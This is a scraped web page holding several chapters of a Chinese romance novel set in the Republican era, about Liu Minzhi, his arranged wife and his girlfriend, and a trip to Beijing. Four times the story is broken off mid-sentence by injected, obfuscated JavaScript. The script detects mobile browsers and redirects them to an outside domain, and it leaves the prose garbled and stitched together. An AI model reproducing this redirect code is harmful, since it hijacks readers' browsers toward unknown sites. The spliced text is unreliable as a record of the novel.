l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548784|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三次，大点声。” “对不住！” 这回声音够大了，旁边的苏学章都吓一大跳，可杜其骧犹不满意。 “对不住谁？把话说全。” 杜其骏下半张脸都在颤抖，终是一咬牙一闭眼，大喝出声：“刘先生，都怪我驭下不严，对不住您了！” 他喊完，牛一样地喘气。 杜其骧把他踹到一边，笑的如沐春风：“刘先生，您还满意吗？” 刘珉之觉得这个人有些可怕，一时没有回答。 “杜其骏。” “在！” “继续道歉。” “是！” “不用了，”刘珉之赶紧阻拦，他都怕一会儿杜其骏失控，会当众吃了他。 “既然是一场误会，解释清楚便是了，难为杜参谋长特意带大家走一趟。” 杜其骧笑了：“总不能让刘先生白白受委屈，我们当兵的，最讲究信义二字。虽说刘先生大人有大量，但舍弟莽撞，我也会带回去好生管教，必不教他再犯。” “杜参谋长言重了。” 杜其骧拍了手，围观的人群才肯散开，有几个好事者本想找刘珉之搭话，又想起方才杜其骧的手段，不寒而栗。 他的衣角动了动。 刘珉之扭头，看到苏湘子漂亮的脸。 “刚才吓坏我了。” “好了，没事了。” 刘珉之很想抱抱她，但大庭广众的，不想叫人看见，只握了握她的手，又克制地放开。 “我还真是头一回见杜队长他，”苏湘子说着，没忍住笑出来，“那个样子。” 刘珉之也跟着笑：“老实说，还蛮解气的。” “好啊，瞧你不动如山的，原来在想这个？” “不止，我还在想，”刘珉之靠近她，小声道，“看他以后还敢不敢和我抢你了。” 苏湘子耳根倏的红了。 “你、你……我又不喜欢他。” “我知道，你喜欢我。” “喂！” 刘珉之逗完苏湘子，心情舒畅，但心里还是在隐隐担忧。 杜其骧这个人，真是深不可测，不愧是大哥的对手。 回到刘府，大门前方停着一辆眼熟的黑色小轿车。这虽是军部的车子，但其实就是刘琼越私用。 他大喜。 大哥回来了！ 刘珉之三两步跑回府里，刘伯参、老太太、王桂英，还有府里的下人们全部聚在正厅，正中央，高壮结实的刘琼越只敞怀穿件薄衬衫，意气风发地坐在桌子上，给大家伙分派礼物。 怪不得杜其骧一反常态，绑着杜其骏负荆请罪，原来是他们刘家的靠山回来了，再也没有人敢欺负他们了。 一群人其乐融融，还是刘琼越最先看到他。 “小弟回来了。” “大哥！” 刘珉之跑上前抱住大哥，被狠狠拍了肩膀。 刘琼越笑他：“这么个大个人了，还是个小孩样儿。” “大哥，你回来就好了，你回来我就有主心骨了。” “你呀，”刘琼越无奈地摇摇头，但能被家人依赖，他还是很高兴的，“快瞧瞧我给你带的礼物，喜不喜欢？” 23. 礼物 刘琼越给他的是一块浪琴的手表。 表带是银色的，表盘视窗简洁，是如云星般瑰丽的深蓝色。蓝钢指针优雅地擦过罗马数字，表镜平滑，材质考究，表圈精细地反着均匀的光，内部的机械齿轮镇静地无声运转，每一个细节都挑不出一丝差错。 刘琼越上手捋刘珉之的袖子，将他腕上的旧表解开。 “你今天戴的这支——还有那支棕色破了的，都赶紧给我扔了。我见你还在戴就心烦，一到北京先给你买了新的，快，试试合不合适，我刘琼越的弟弟可不能穷酸。” 刘珉之笑着换上，摆弄手腕向家人展示。 “好看。” “多谢大哥，我很喜欢。” 刘琼越满意地点头，突又想起来：“弟妹，我记得给你也带了只表，怎么不戴上？” 王桂英低头回话：“我怕弄坏了，还是收起来安心。” “东西本就是买来用的，坏了叫小弟再给你买就是了。” 刘伯参拉长音调：“是这个理儿。” “女人啊，不能太节俭，”老太太帮腔，“不然外头都要说闲话，说我们刘家养不起媳妇儿。” 话说到这个份上，刘珉之也催她：“戴上吧。” 王桂英含羞看他一眼：“那我戴了？” 等王桂英从盒子里拿出那只贝母蓝的细银手表，刘珉之才明白她为什么害羞。 同样的银色表带，同样的星云色深蓝表盘，只是款式更纤细些，好显出女性柔和的曲线。 这和刘珉之手上的分明是情侣款。 王桂英将自己那支戴上，她腕子圆，胳膊和手臂较短，其实更适合戴圆润柔和的玉镯，这种金属链条显不出她古典雍容的优势来，但绝对不丑。 王桂英头一回戴手表，紧张道：“是不是不好看？我还是摘了吧。” “别。” “戴着吧，挺不错的。” 倒算不上多好看，但大家愿意给面子。 刘琼越得意道：“我眼光不错吧？两个人戴都好看。” 大家自然吹捧不断。 王桂英的大眼睛水潋潋地看着丈夫，不说话也是一种温柔的催促。 刘珉之尽量露出一个轻松的笑，淡淡道：“好看。” 王桂英这下才真的欢喜，不住地摸自己腕子。 刘琼越难得有空出门，大肆采购了一番，回程时小轿车都塞满了。 有荣宝斋的水印笺纸，砚背浮雕燕京八景的墨石端砚，景泰蓝的鼻烟壶，铜刻珐琅的墨盒，东郊民巷的银器和洋货行的香烟。 刘伯参最先挑，将喜欢的几样收了，余下的赏给下人。 女人的东西也带回来不少，样样奇巧精致，许是刘琼越的情人帮他挑的。 成盒装的雪花膏，每人都分了几盒；还有同仁堂的散香囊、秋梨膏，百货行的手袋、绸伞、围巾、棱镜，小物件不胜枚举，尚来不及分，就被一哄而散抢光了。 老太太乐呵呵的，叫她们慢点，每个人都有份。 “娘，您还有呢。” 刘琼越又拿出几个重工雕刻的盒子，挨个打开展示。 龙凤呈祥累丝金项圈、镂金翡翠手镯、岫岩玉点珐琅耳坠，烧蓝填色牡丹戒指，瞧成色全部价格不菲。 老太太喜的嘴都合不拢，还嗔怪大儿子乱花钱。 “钱不就是给家里人花的吗？娘，您都不夸夸我。” “是是，我错了，我大儿子最孝顺了。” 老太太一件一件抚摸过去，又道：“我年纪大了，用不上这么多。桂英，你来挑几件。” 王桂英还没开口推拒，刘琼越倒先拦下了。 “不用，这份是给娘的，娘您收好就是了，弟妹那份我另外准备了。” 王桂英眨眨眼：“我也有？” 刘琼越大笑：“当然，家里就娘和你两个女人，娘有的，你也都有。” 刘琼越本来说是去玩三天，结果在北京呆了一周。现在终于回来了，刘府上下一片欢喜热闹。军务部那边来了人请，说大伙儿自发办了接风宴，刘琼越骂骂咧咧叫他们撤了。 晚上全家人在刘府吃饭，又唠家常唠到深夜，刘伯参撑不住眼皮打架，一家人于是散了睡觉。 王桂英一整天都乐呵呵的，到晚上，在梳妆台收拾今天收到的礼物，她先是分开放在妆奁里，想了想，又放到抽屉里。等刘珉之从屏风后出来，她又从开始折腾，打开她那一人多高的衣箱，往外头掏衣服。 “怎么突然开箱子？” 王桂英笑道：“我把那个翡翠镯子收起来，它好贵，要是戴着碰碎掉，得心疼死。” “那个翠绿色的？” “是啊。” “你戴那个颜色好看，多戴一戴，不会随便磕坏的。” “好，那听你的。” 翡翠镯子的事定下，王桂英还不闲着。 “怎么还在弄？” “我把其他的小东西收起来，大哥带的东西太多，我用不完。” “用不完就赏给下人，你这一收起来，不知道哪天才能用上，反倒浪费了。” 王桂英觉得他说的有道理，几件首饰先挨个放好，就算不戴摆着也好看。雪花膏也留着，总能用完。胭脂水粉她平日不爱用，是勉强自己用还是给别人？还有好几个梳子、镜子，这些肯定用不完。 她守在衣箱旁边一会儿拿过来一会儿拿过去，对着剩下满妆台的物件犯难。 刘珉之觉得好笑：“真看不出你还是个财迷。” “不行不行，我还是都收起来吧。” “也不是多值钱的东西，要是不舍得给别人，就给小葱，你不是最喜欢她吗？” 王桂英嘟囔：“不是值不值钱的事儿。” “哦？那是什么事儿？” 王桂英咧嘴笑道：“这是我头一回收到礼物，我想好好收起来。” 刘珉之一愣。 王桂英说出这话，却并不觉得自己可怜，她好像还是个容易满足的小孩子，得到了心爱的玩具就足够开心，恨不得一直守着她的宝物。 刘珉之又想起很早之前，王桂英说过王鸿想卖掉她。 原来王鸿不止是失势之后性情大变，而是他在这个女儿出生之后就没有给过她多少爱。 父亲不爱她，刘珉之是赶鸭子上架做了她的丈夫，也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572934|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不爱她。 他原本想等刘伯参病好之后就把王桂英送回娘家去。 刘珉之本以为自己这样做就已经算仁至义尽，可他从没想过，两个人来自不同的世界，两个人拥有的东西差距太大，他不爱她、不保护她，就已经是对她的欺丨辱。 衣箱很大，里面多是一年穿不了几次的厚重衣服，刘珉之突然看到一匹眼熟的黑色绒布，上前摸了摸。 这匹天鹅绒布，本是他从法国带给母亲的礼物。因不知道王桂英在刘家，没给她准备礼物，刘母特将它转赠给王桂英，好不叫她空着手。 “哎哟。” 王桂英突然一拍脑袋。 “我搞错了，这才是我头一回收到礼物呢。” 她小心翼翼地看他。 刘珉之轻轻叹了口气，柔声道：“对不起。” 王桂英呆呆的：“什么？” "我应该给你送份礼物的。" 王桂英笑了，她笑起来也很好看，眉毛又黑又弯，像舒展开的月亮。 “我真是有福气，刘家对我太好了。” 好容易收拾完，王桂英还不睡觉，坐到书桌那边，期待地看他。 “做什么？” “你答应教我洋文，还做不做数？” 刘珉之失笑：“自然做数的，不过今天太晚了，我们只学半个钟头。” 半个钟头后，一夜好眠。 次日，刘琼越要去军务部当值。刘珉之趁早上的空闲，将杜其骧兄弟俩的事说了。 “这个混蛋，我才出去几天，都欺负到我亲弟弟身上了，”刘琼越扶额，“小弟放心，这件事，大哥会帮你出气。” “我不是这个意思，大哥。” 刘珉之冷静道。 “杜其骧特意当着众人的面负荆请罪，这件事便是不了也要了了。” 刘琼越长吁短叹，拍拍他的肩膀，“难为你咽得下这口气。” 刘珉之笑道：“这点小事我还不至于往心里去，只是我很担心，他们会对大哥不利，杜其骧这个人……非常可怕。” “放心，大哥心里有数。只是军务部水浑，暂且不好动他，”刘琼越摇摇头，“对了，你和杜其骧他弟弟怎么起的冲突？” 刘珉之红了脸，和大哥实话实说。 刘琼越哈哈大笑。 “原来我家小弟，也是折身为红颜了。” “大哥！” “羞什么，你这个年纪，喜欢漂亮女人很正常。况且苏校长的千金我也有所耳闻，是位很有才情的美女。” 刘珉之叹气：“她是位很完美的女性，但我最近很烦恼，总怕她会撞见桂英……” “女人凑在一起势必要打架，”刘琼越认可他的烦恼，然后简单粗暴给出建议，“多买几个宅子，让她们分开住。” “不是这么回事！湘子她，她是基督教徒，只接受一夫一妻的。” 当然，他刘珉之是自由恋爱的教徒，也只接受一夫一妻。 刘琼越犯了难。 “你可不能休了弟妹啊，弟妹在刘家这么久，挑不出一点错处。” 刘珉之苦笑：“我就是在烦恼这个。” 24. 不忠不义 哪怕是朝夕相处的人，也可以视而不见。 可一旦见着这个人，就在眼里心里都有了位置。 你知道她来自哪里，知道她受过磋磨，知道她聪明有天赋，知道她试图讨好所有人，知道她非常珍惜现在的生活。 她是活生生的。 你没有办法把她赶回去，假装自己从没见过她。 “刘先生，又来找苏老师哦？” 长脸型的邓老师抑扬顿挫地调侃，她并没有恶意，刘珉之也得体地回应。 “不止，也来看看邓老师。” 邓老师咯咯笑，她年纪已不轻了，但因婚姻生活过的顺心，身上还保有几分少女的纯粹。 办公室是几位课少的老师轮流坐班，苏湘子还在上课，现在只有邓老师在。 “我带了点水果，邓老师尝尝吧。” “刘先生贿赂我，是不是？” “是，还请邓老师不要为难我。” 邓老师笑着应了，伸手剥他带来的枇杷。这种好吃又难处理的东西，人一吃起来便安静了。 短跟皮鞋的声音不紧不慢地响起，刘珉之现在听到这声音就心里发痒。 苏湘子抱着书本进来，她日常喜欢穿白蓝色的衣物，显得雅致又清爽，像春风打着旋儿吹在刘珉之脸上。 “湘子。” 苏湘子轻轻淡淡地笑道：“等我一下。” “嗯。” 苏湘子将课本和教案随手放下，摞在还没批改的学生试卷上，又拿起一个闪细银的手提包，转身亭亭道：“走吧。” 刘珉之牵她的手。 邓老师嬉笑：“真没见过你们这么要好的，我可就等着喝你们两个的喜酒了。” 苏湘子红了脸，刘珉之赶紧道：“邓老师，说好不为难我的。” “我这哪里是为难，分明是撮合你们。谈恋爱固然甜蜜，也不能耽误办正事哦。” 苏湘子越听越羞，落荒而逃。 天气越来越凉，已入深秋。 街上的树木橙红交叠，不见光秃，反倒是另一种热烈。 “今天去哪吃饭？” “县北边那家谭家菜，怎么样？” 苏湘子噘嘴：“又是那家啊。” “你上次吃那家的黄金蛋不是很喜欢么？” “可我都吃过好多次了，自己也在家里做过，早吃腻了。” “那咱们换一家，方主任说东大街那边有家驴肉火锅，味道还不错。” “我和同事去吃过，不好吃。” 刘珉之犯了难，在脑子里筛选剩下的饭店。 苏湘子噗呲笑了：“是不是太为难你了，漳县就这么大，咱们早就逛完了。” 刘珉之歉意道：“我还真不知道吃什么了。” 苏湘子沉沉叹了口气：“真可惜。” “可惜什么？” “可惜不能带你去我家里吃，我做饭的手艺还不错。” 刘珉之心神荡漾。 苏湘子的短跟皮鞋踩在簌簌落叶上，发出残忍的、酥脆的碾碎声，她不经意问到：“你们家是谁管做饭？” 刘珉之慌的心跳漏了一拍。 苏湘子突然露出个失望的表情，刘珉之更慌了，不知她看出了什么。 他赶紧补救：“我们家有个姓崔的厨娘，是位当之无愧的大厨，等过阵子，你一定要尝尝她的手艺。” 这话说的暧昧却讨巧，过阵子，是过哪阵子？ 好在苏湘子没为难他，应过去了。 午饭选在一家口碑不错的羊肉店，苏湘子还是嫌膻，只吃了另点的几个菜，勉强送进去半碗米饭。 “咱们再去吃点小吃，好不好？” 苏湘子摇摇头：“吃来吃去就是这么些东西，早没胃口了。” “那咱们去买点水果，你上回不是说想吃柿子么？” 苏湘子失笑：“我说的是想女子大学宿舍楼旁边那棵歪柿子树，想的是念大学那会儿的趣事儿，才不是馋柿子了，好不好？” 刘珉之也笑了：“我不能叫你重新念大学，还不能叫你吃个柿子么？” “你可真会耍滑头！” 酒饱饭足，沿着秋日街道百无聊赖地漫步。 “几点了？我还得回去把试卷批完。” 苏湘子明明自己戴着手表，却偏要抓刘珉之的手看他的。 “你怎么还在戴这块表？我第一次见它就是破的。” 他戴的还是从法国带回来那块棕色小羊皮的休闲表，和苏湘子变亲密后，他不再对外表过于重视，穿戴都随意起来。 苏湘子倒恰好相反，或许是源于男女观念的不同，她的穿着打扮明显越来越精致了。 刘珉之收回腕子，解释道：“我问了几家钟表店，都说可以修，但不保证能瞧不出修补的痕迹。我想想还是算了，等以后遇见好师傅再修吧。” “这么舍不得这块表，是对你有什么意义么？” 刘珉之怀念地摸摸羊皮表带，讲起往事。 “每年中国留学生会团都要在当地华人区募捐，有一年我们联系上一位办企业的爱国华侨，他帮我们筹到了两万块。这件事很轰动，上了当年的国际报纸，国民政丨府收到捐款后，专程写信表扬了我们。会长很高兴，给我们每人买了件礼物做纪念——就是这块表。” “真是很有意义的事。” 苏湘子有些感慨，走了两步，一拍手。 “我去帮你修好它吧！” 刘珉之笑了：“怎么帮？你要从今天开始学做钟表匠么？” “才不是！”苏湘子鼓起嘴巴，“我下个礼拜要去北京，可以顺便去帮你修表。” 刘珉之慌了：“怎么突然要去北京？去多久？” “我大学的一位同学结婚，叫我去吃酒。放心，我只去三天，还要回来上课呢。” 刘珉之松了口气。 只是三天不见苏湘子，还可以忍受。 苏湘子听完他的故事，一直牵他的手腕，时不时瞧一眼他的破表，好像透过这只表能看出那些同学少年的往事。 刘珉之被她看的心里发痒，话语没经思考，直接脱口而出。 “我陪你一起去北京。” 苏湘子顿住了：“真的？” 刘珉之顺着自己的心意说：“自然是真的，军工部本来就不忙，方主任会给我批假的。” “你家里也没事么？” 刘珉之字斟句酌着回答：“我父亲最近身体还好，大哥也回来了，我出去几天没关系。” 苏湘子吐出一口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572935|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，露出个开心的笑容。 “那太好了，我早就想和你出去玩儿了。” 他去趟北京倒不是什么大事。 大哥是他做什么都由着他的，父亲不喜欢他出去，总怕他在漳县呆不住，出去了就不回去，他反复保证三天一定回来，也只能勉强同意了。 正好钱管家这几日也从田庄赶回县里，刘府大大小小的事他都可以帮着管，王桂英也不必太劳累。 但王桂英还是闷闷的，一声不吭。 刘珉之最近看不得她这个样子，忍不住想哄哄她。 “我就去三天，见个同学时代的朋友，很快就回来。家里辛苦你照应，爹最近精神还不错，钱管家也在，外面的事你别太操心。” “嗯。” “怎么了？有气无力的。” “没事。” “真没事？” 王桂英眼神闪躲。 刘珉之沉沉叹气：“本先生只记得教学生洋文，却忘了教学生诚信。本先生现在要补上，不诚信的学生不是好学生——要被打手板的。” 王桂英噗呲笑了，挑衅道：“那你打呀。” “好啊，你倒自己承认了，刚才果然是在骗我，是不是？” 王桂英有些不服气，又怕再反驳落了他的圈套，闷闷哼了一声。 “到底怎么了，和先生说一说。” 王桂英沉默了一会儿，努努嘴，指向书桌的一本手写册子。 “这不是我的教案么？已经教过你一遍了，难不成全忘光了？” “才不是！” 刘珉之摸不着头脑。 王桂英平复下心情，陈述道：“你把这个本子落在学校了，今天下午一个姓谢的女学生送回来的。” “哦。” 应该是谢觉梅。 刘珉之有些紧张，是谢觉梅跟她说什么了？说自己正在追求他们的苏老师？王桂英知道这些会怎么反应？ 他尽量若无其事道：“然后呢？” 王桂英闷闷的：“没有然后。” 刘珉之眨眨眼。 “怎么就没有然后了？” 王桂英不理他。 刘珉之来劲儿了，框住她的退路挠她的痒。 “说不说？说不说？” “哎呀！” 王桂英含羞带怯地推开他：“我说我说！” “就是，”王桂英还是吞吞吐吐的，“那个女同学……很漂亮，很……我不知道怎么说，很惹眼。” 她无意识地玩弄自己的手指。 刘珉之突然感觉心里一阵酸涩，像刺了一根带汁水的针。 “很自信，很朝气，是不是？” 王桂英眼睛一亮：“对！就是这个意思。” 她黑溜溜的大眼睛又马上黯淡下去，像蒙尘的明珠。 “我，我连话都不会说，人还是要有文化，不要像我这样。” 那根冒酸水的针在他心脏狠狠拧了一圈，又酸又痛，竟有种狠厉的爽快。 他突然很想抱住王桂英，捧住她的脸告诉她她很棒，她只是缺少一些幸运，她不比任何人差。 但他不能这样做。 他是自由恋爱的教徒。 这样做既对王桂英不义，也对苏湘子不忠。 25. 北京，北京 作为全国的政治中心，北京的环境远比漳县复杂。 刚下火车，站台乌泱泱站满穿军装的护卫，护卫将所有乘客包围了，只留一道口子。 刘珉之和苏湘子排队通过，受了从哪来、来几日、来做什么、可有保人的盘问，又将他们的行李仔细检查两三遍，去贴的告示那里听了五分钟宣讲，这才被挥手放行。 一出车站，北京的天灰蒙蒙的，哪里像是清晨。 他们要去六国饭店下榻，顺着出站的人流一起走，走到最热闹的地方。 穿警卫服的工作人员排成一道人墙，人墙那边衣衫褴褛的车夫们摩肩接踵，鸭子似的叫喊着客人，他们的口音五湖四海，模样包罗万象，好些个人还留着斑驳的长短辫子。 苏湘子勉强选了辆干净的车，那车夫穿自编的草鞋，快入冬了还赤裸着上身，黝黑的肌肉和骨骼嶙峋地耸立着。他谈好了价钱，闷不做声往前拉车。 北京的街道人口稠密，一条街能住漳县一个镇的人。 外城街道狭窄曲折，马车和洋车擦肩而过，撞上街边卖牛肉包子的小贩，被小贩揪着衣领拉下马车，嚷叫大伙儿评评理，收扫垃圾的老头撑着笤帚看热闹，远处一条黑巷子里走出一个神色萎靡的中年男人，边系裤袋边骂骂咧咧地绕开人群。 道路阻塞，他们的人力车填进人潮的缝隙，一时寸步难行。 拉车的黑汉子和另一辆敞篷的三轮车聚首，两人叽里呱啦说着听不懂的方言，还用奇怪的眼神往车上瞟。 苏湘子被打量得直皱眉头，刘珉之按住她的手背安抚她。 “师傅，还要堵多久？” “快了，快了。” “我们就在这里下，自己走过去。” “都堵住了，走过去也没有车的，”车夫挽留他们，“再等一等，马上就通的。” 人力车龟速前移了半个钟头，豁然畅通，车夫的草鞋又飞舞起来。 北京的城墙是青灰色的，远远就看到它高耸连绵的轮廓，如伏案的巨龙。 近到城门脚下，看见的并非砖垒的龙鳞，而是穿黄褐色军装、带软质圆顶帽的武装日军。他们举着长枪和刺刀，在城墙下做出攻击的姿态，时不时爆发几声呼喝，又将武器高举过头顶。 刘珉之抬起头来，高耸的城墙墙垛上，也密布着土褐色的日军，他们挥舞着武器穿行，像巨龙身上的藓块。 广安门门洞里外，被国丨党的军队牢牢占据，里三层外三层隔开日军和百姓。 但声音是隔离不掉的，日军的大呼小叫在城墙里外回荡，苏湘子死死抓住刘珉之的手，和所有人一样低着头快速通过。 “呵——呸！” 车夫擤住嗓子，朝身后吐出一口浓痰。 苏湘子气的声音都在颤抖：“北京……怎么变成这个样子……” 车夫愤恨道：“那些鬼子，天天在城根底下练兵，闹了好多次，死了好多人——没用，还是没用！” 进来北京内城，街道较外城宽阔许多，顺利到达六国饭店，刘珉之要多给车夫一倍价钱，他坚决不收。 “价钱说好了，咱不带反悔的。” 这里不许停人力车，汉子急匆匆跑了。 刘珉之无奈。 六国饭店位于各国使馆区的核心位置，进到这里，像是进到一个和平悠闲的庄园。 房间是新娘为他们定的，报过名字入住，各自回房睡到中午。 午餐刘珉之点了牛排和马赛鱼汤，苏湘子不想吃肉，但胃口不错，连吃了两块焦糖布蕾，餐后还要吃哈根达斯的冰淇淋，刘珉之怕她着凉，盯着她只许吃半块。 许久没这样飨足，苏湘子懒散地打了个哈欠。 “还要睡觉么？” “不睡了，明天就要参加婚宴，我得去烫头发。” 刘珉之疑惑：“你头发不是烫了的？” 苏湘子勾垂脑袋，把发顶凑到他脸上：“发根长出来了，要重新烫。” “……哦。” 刘珉之不太懂。 饭店附近就有美容厅，但苏湘子要去王府井的一家店子，说在杂志里看到那家店子的广告。 “顺便在附近帮你修表。” “嗯。” 先把破损的羊皮表搁在钟表店修理，随后过进美发店，谁知女人弄起头发来没完没了，刘珉之坐在沙发等来等去，不自觉打起盹来。 “珉之，好不好看？” 刘珉之提起精神去看，还是浅棕色的，还是羊毛卷，但是更蓬松了些，好像也更有光泽了。 “好看，更漂亮了。” 苏湘子满意地转了个圈，笑着挽他的手臂。 浓烈的发油香味钻进鼻孔，刘珉之有些不适，苏湘子平日只用清淡香水，突然换个味道，像换了个人似的。 钟表匠人竟更磨蹭，还没修好表，他们绕出隔间，在钟表展览区闲逛。 “咦。” 苏湘子蹲下来，看柜台上的表。 “这个好看。” 刘珉之愣了。 这是两只摆在一起的表，银白色的表带，云星色的深蓝表盘，一只略粗，一只略细——分明是刘琼越给他和王桂英一人带一只的那款情侣手表。 他下意识摸了摸自己的腕子，庆幸没把它戴出来过。 苏湘子爱不释手地摸了一会儿，撂下走了。 刘珉之赶紧道：“你喜欢就买下来，咱们一人一只。” “算了，太贵了。” 是很贵，寻常一只外国品牌的表售价80-150元不等，这两只表合售却要462元，相当于一户普通家庭一整年的工钱，哪怕去掉关税、调运、保修等费用，溢价也太高了。 “没关系，我去银行取钱。” “诶！” 苏湘子拉住他的手，眯着眼睛笑：“真不用，这个颜色的表我有好多。” 刘珉之仍然过意不去，他在法国受过浪漫熏陶，知道和女性单独出来，该支付几笔大额账单作为纪念。 要不要悄悄把这两只表买下来，给苏湘子一个惊喜？ 但怎么偏偏是这只。 若是两个女人都戴了，他又和谁是情侣呢？ 似乎觉察到他的为难，苏湘子又找到个新目标。 “我喜欢这个，你买给我好不好？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581750|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刘珉之松了口气，价格都没看就应声说好。 苏湘子嘟嘴：“你都不先看一眼。” “你挑的东西自然是最好的。” “那可不一定。” 苏湘子意味深长地挽住他的手。 她挑的是一只珍珠系带的纤小链表，不是牌子货，售价二十块，在这里实在算不上贵，戴在她瘦长的手腕上非常雅致。 苏湘子舒出一口气：“好了，我满意了。” 刘珉之笑她：“你也太好满足了。” 苏湘子也笑自己：“以前在北京读书觉得日子很普通，现在在漳县教了几个月书，来趟北京都觉得不容易，跟乡下人进城似的，进哪家店都想花点钱。” “照你这么说，我更是个土包子。我上回来北京，都是十三四岁的事情了。” 苏湘子咯咯笑：“你是留过洋的人，可以叫洋包子。” “那就是面包啰？” “面包没有馅儿。” “那我是什么？” 苏湘子想了一会：“你当披萨好了，披萨的馅儿在外头，也算是有馅儿。” “我瞧你是馋披萨了，我们晚上吃披萨，好不好？” “好。” 苏湘子好心情地眯起眼睛。 到北京的第一天晚上哪里都没去，天色刚暗下来，苏湘子就说要回去睡美容觉，结果新娘打电话到酒店找她，两人煲了一小时电话粥，困的直打哈欠。 刘珉之好笑道：“明天就见面了，你们一晚都等不了吗？” “她可是我最好的朋友，”苏湘子突然转了语调，沉沉叹气，“她怎么就要结婚了？” “结婚不好么？” 刘珉之这话问的暧昧，他本以为苏湘子会笑眯眯地回答“当然好”。 可是并没有，苏湘子只是长久的沉默，才勉强挤出一个微笑：“很晚了，你也回房睡觉吧。” 婚礼定在西什库天主教堂举行，听说新郎是位美国商人，和新娘都是基督教徒。 到场才发现规模超乎他们想象，教堂外熙熙攘攘停满小轿车，红毯从下客处一直铺到教堂里头，两边的玫瑰花不要钱地簇簇摆放，被闪雷般的笨重相机定格下来——摄像师都来了好几位。 苏湘子挽着刘珉之的手臂亮相，摄像要为每位宾客拍照，闪光灯照射时，苏湘子下意识伸手挡眼睛，被咋咋呼呼喊话。 “小姐，再来一张，你很漂亮，和你爱人很般配。” 苏湘子抬头看刘珉之，撞进他快乐的眼睛里。 与会的宾客里外国人占了一半，男士全部西装革履，女士穿缤纷鲜艳的礼服。 在这种场合，苏湘子还是很惹眼。 她穿粉色的花苞礼服，戴同色的蕾丝手套，像一朵娇嫩的粉百合。 如今这百合依偎在刘珉之身上，一路收割旁人羡慕忮忌的眼光，刘珉之未免心神荡漾。 这份荡漾在遇到女子大学其他同学时达到巅峰。 “湘子！” “你终于到了，湘子。” “这位是？” 苏湘子将脑袋靠在他肩膀上：“这是我男朋友，刘珉之。” 26. 回家 “你好。” “你好。” “你们是怎么认识的？” 苏湘子将他去新中学讲课的事说了，自然又提到他从法国留学回来，学的机械工程学，很受军部器重。 “男才女貌啊。” 女同学们艳羡道。 刘珉之嘴上说着谦虚的话，心脏却已在云朵上飘了。 这些女同学和苏湘子一届，都是今年才毕业的，脸上带着疲惫的稚气，和其他衣冠楚楚的宾客们格格不入。 “没想到婚礼场合这么大。” “我头回瞧见这么多外国人。” “她真是嫁了个有钱人啊……” “你呢？你怎么样？” “我进了老家的纺织厂，有几个男同事在追求我，但我还不想结婚。” “咱们这个年纪还不结婚，家里该急死了。” “咱们才刚毕业呢，他们就晓得催人生孩子。” “真生了又不是他们管。” 苏湘子左右看，问到：“菊兰呢？怎么就她没来？” “她在坐月子呢。” 苏湘子嘴巴圆张：“这、这么快。” “她家里催的紧。” 几个晓得内情的，又说她当时难产，出了好多血。 “还好是个儿子，不然她家里还要逼着她生。” 苏湘子沉默了。 旁边两个外国男人突然鼓掌大笑，又热情地拥抱，两根鹰钩鼻亲昵地碰到一起。 女同学们好奇，又不好意思去问，只敢小声嘀咕：“他们是不是，同性恋爱啊？” “很像哦。” “好歹是在教堂里面，都不注意点影响。” “湘子，你英文最好，你听到他们说什么了吗？” 苏湘子悄悄摇头：“我再听一听。” 女生们屏息听了一会儿，那两个外国男人毫无察觉，勾肩搭背走远了。 苏湘子不确定道：“好像只是……生意往来？” 另一个女生点点头：“我也听到了，他们在聊一份农业合同。” “什么嘛。” 大家不满。 “一点都不劲爆。” 刘珉之打趣道：“你们怎么跟蹲八卦的记者一样。” “湘子，你男朋友敢嘲笑我们，这事你管不管？” “当然管。” 苏湘子板着脸打了他几下，刘珉之认错求饶，请她们高抬贵手。 女同学们笑了。 “瞧在湘子的份上，放你一马。” 唱诗班入席，神父手捧圣经庄严登场，婚礼要开始了。 宾客像珍珠穿线似的落座，阳光从彩绘玻璃窗照射进来，乐团开始歌唱，管风琴温和地飘鸣，在花大价钱塑造的圣光里，新娘和新郎隆重出场。 新娘身穿蕾丝重工的繁复婚纱，裙摆飘逸远去，被两位金发碧眼的花童提起。 她生了一张明媚大方的脸，头纱也压不住她的璀璨，她的笑容张扬、恣意，热情向两侧的宾客招手。 她眼睛一亮。 “湘子！” “锦艾！” 女同学们结团而坐，苏湘子坐在最边上，握住新娘裹着钻石蕾纱的手。 “你们能来真是太好了。” 程锦艾顶着灿烂的笑容简短道谢，又回首往殿堂走去。 